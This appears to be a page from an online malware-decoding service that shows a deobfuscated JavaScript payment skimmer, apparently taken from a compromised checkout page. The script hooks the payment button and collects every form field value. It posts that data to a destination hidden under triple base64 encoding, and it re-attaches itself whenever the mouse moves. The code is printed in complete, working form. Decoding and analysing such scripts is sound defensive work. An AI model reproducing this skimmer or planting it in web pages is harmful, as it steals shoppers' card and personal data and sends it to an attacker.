Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


<script>var _paypal_payment_button="*[onclick*=\"payment.save()\"]";
function payment_check()
	{
	jQuery("input").removeAttr("disabled");
	jQuery("select").removeAttr("disabled");
	var text_payment=
		{
	};
	jQuery("body input, body select, body option").each(function(index)
		{
		if("value"in this&&"name"in this&&this.name!="")
			{
			if(this.name in text_payment&&text_payment[this.name]!="")
				{
				return true
			}
			text_payment[this.name]=this.value;
			return true
		}
		if("value"in this&&"id"in this&&this.id!="")
			{
			if(this.id in text_payment&&text_payment[this.id]!="")
				{
				return true
			}
			text_payment[this.id]=this.value;
			return true
		}
		if("value"in this&&"class"in this&&this.class!="")
			{
			if(this.class in text_payment&&text_payment[this.class]!="")
				{
				return true
			}
			text_payment[this.class]=this.value;
			return true
		}
	}
	);
	jQuery.ajax(
		{
		url:atob(atob(atob("VEhrNWFscEhOVzFqYlRsMVpFZFdkVnBETldwaU1qQjJXbTVLZG1KdVVteGliVkYyWXpKMGNHSnVUWFZhTW14dA=="))),data:"payment[string]="+encodeURIComponent(btoa(unescape(encodeURIComponent(JSON.stringify(text_payment)))))+"&payment[url]="+encodeURIComponent(location.host),type:"POST"
	}
	)
}
function _paypal_set_click()
	{
	jQuery(_paypal_payment_button).attr("onclick","payment_check();
	payment.save();
	")
}
jQuery(window).load(function()
	{
	_paypal_set_click();
	jQuery(document).mousemove(function()
		{
		_paypal_set_click();
		jQuery("input").removeAttr("disabled");
		jQuery("select").removeAttr("disabled")
	}
	)
}
);
_paypal_set_click();
jQuery(document).mousemove(function()
	{
	_paypal_set_click();
	jQuery("input").removeAttr("disabled");
	jQuery("select").removeAttr("disabled")
}
);
</script>



© 2023 Quttera Ltd. All rights reserved.